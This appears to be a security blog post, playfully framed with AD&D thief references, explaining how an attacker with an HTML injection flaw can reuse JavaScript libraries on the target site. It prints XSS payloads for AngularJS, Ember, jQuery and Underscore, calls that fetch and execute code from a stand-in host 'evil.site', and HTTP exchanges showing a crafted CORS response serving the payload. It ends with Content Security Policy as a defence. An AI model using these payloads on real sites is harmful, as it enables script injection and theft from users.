Thief PHB

In 1st edition AD&D two character classes had their own private languages: Druids and Thieves. Thus, a character could speak in Thieves’ Cant to identify peers, bargain, threaten, or otherwise discuss malevolent matters with a degree of secrecy. (Of course, Magic-Users had that troublesome first level spell comprehend languages, and Assassins of 9th level or higher could learn secret or alignment languages forbidden to others.)

Thieves rely on subterfuge (and high DEX) to avoid unpleasant ends. Shakespeare didn’t make it into the list of inspirational reading in Appendix N of the DMG. Even so, consider in Henry VI, Part II, how the Duke of Gloucester (later to be Richard III) defends his treatment of certain subjects, with two notable exceptions:

Unless it were a bloody murderer,

Or foul felonious thief that fleec’d poor passengers,

I never gave them condign punishment.

Developers have their own spoken language for discussing code and coding styles. They litter conversations with terms of art like patterns and anti-patterns, which serve as shorthand for design concepts or litanies of caution. One such pattern is Don’t Repeat Yourself (DRY), of which Code Reuse is a lesser manifestation.

Hackers code, too.

The most boring of HTML injection examples is to display an alert() message. The second most boring is to insert the document.cookie value into a request. But this is the era of HTML5 and roses; hackers need look no further than a vulnerable Same Origin to find useful JavaScript libraries and functions.

There are two important reasons for taking advantage of DRY in a web hack:

  1. Avoid inadequate deny lists (which is really a redundant term).
  2. Leverage code that already exists.

Keep in mind that none of the following hacks are flaws of their respective JavaScript library. The target is assumed to have an HTML injection vulnerability – our goal is to take advantage of code already present on the hacked site in order to minimize our effort.

For example, imagine an HTML injection vulnerability in a site that uses the AngularJS library. The attacker could use a payload like:

angular.bind(self, alert, 9)()

In Ember.js the payload might look like:

Ember.run(null, alert, 9)

The pervasive jQuery might have a string like:

$.globalEval(alert(9))

And the Underscore library might be leveraged with:

_.defer(alert, 9)

These are nice tricks. They might seem to do little more than offer fancy ways of triggering an alert() message, but the code is trivially modifiable to a more lethal version worthy of a vorpal blade.

More importantly, these libraries provide the means to load – and execute! – JavaScript from a different origin. After all, browsers don’t really know the difference between a CDN and a malicious domain.

The jQuery library provides a few ways to obtain code:

$.get('//evil.site/') $('#selector').load('//evil.site')

Prototype has an Ajax object. It will load and execute code from a call like:

new Ajax.Request('//evil.site/')

But this has a catch: the request includes “non-simple” headers via the XHR object and therefore triggers a CORS pre-flight check in modern browsers. An invalid pre-flight response will cause the attack to fail. Cross-Origin Resource Sharing is never a problem when you’re the one sharing the resource.

In the Prototype Ajax example, a browser’s pre-flight might look like the following. The initiating request comes from a link we’ll call https://web.site/xss_vuln.page.

OPTIONS https://evil.site/ HTTP/1.1
Host: evil.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Origin: https://web.site
Access-Control-Request-Method: POST
Access-Control-Request-Headers: x-prototype-version,x-requested-with
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-length: 0

As someone with influence over the content served by evil.site, it’s easy to let the browser know that this incoming cross-origin XHR request is perfectly fine. Hence, we craft some code to respond with the appropriate headers:

HTTP/1.1 200 OK Date: Tue, 27 Aug 2013 05:05:08 GMT
Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26
Access-Control-Allow-Origin: https://web.site
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with
Access-Control-Expose-Headers: x-json
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

With that out of the way, the browser continues its merry way to the cursed resource. We’ve done nothing to change the default behavior of the Ajax object, so it produces a POST. (Changing the method to GET would not have avoided the CORS pre-flight because the request would have still included custom X- headers.)

POST https://evil.site/HWA/ch2/cors_payload.php HTTP/1.1
Host: evil.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, \*/\*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://web.site/HWA/ch2/prototype_xss.php
Content-Length: 0
Origin: https://web.site
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

Finally, our site responds with CORS headers intact and a payload to be executed. We’ll be even lazier and tell the browser to cache the CORS response so it’ll skip subsequent pre-flights for a while.

HTTP/1.1 200 OK Date: Tue, 27 Aug 2013 05:05:08 GMT
Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26
X-Powered-By: PHP/5.3.26
Access-Control-Allow-Origin: https://web.site
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with
Access-Control-Expose-Headers: x-json
Access-Control-Max-Age: 86400
Content-Length: 10
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: application/javascript; charset=utf-8

alert(9);

Okay. So, it’s another alert() message. I suppose I’ve repeated myself enough on that topic for now.

Find/Remove Traps

It should be noted that Content Security Policy just might help you in this situation. The catch is that you need to have architected your site to remove all inline JavaScript. That’s not always an easy feat. Even experienced developers of major libraries like jQuery are struggling to create CSP-compatible content. Never the less, auditing and improving code for CSP is a worthwhile endeavor. Even 1st level thieves only have a 20% change to Find/Remove Traps. The chance doesn’t hit 50% until 7th level. Improvement takes time.

And the price for failure? Well, it turns out condign punishment has its own API.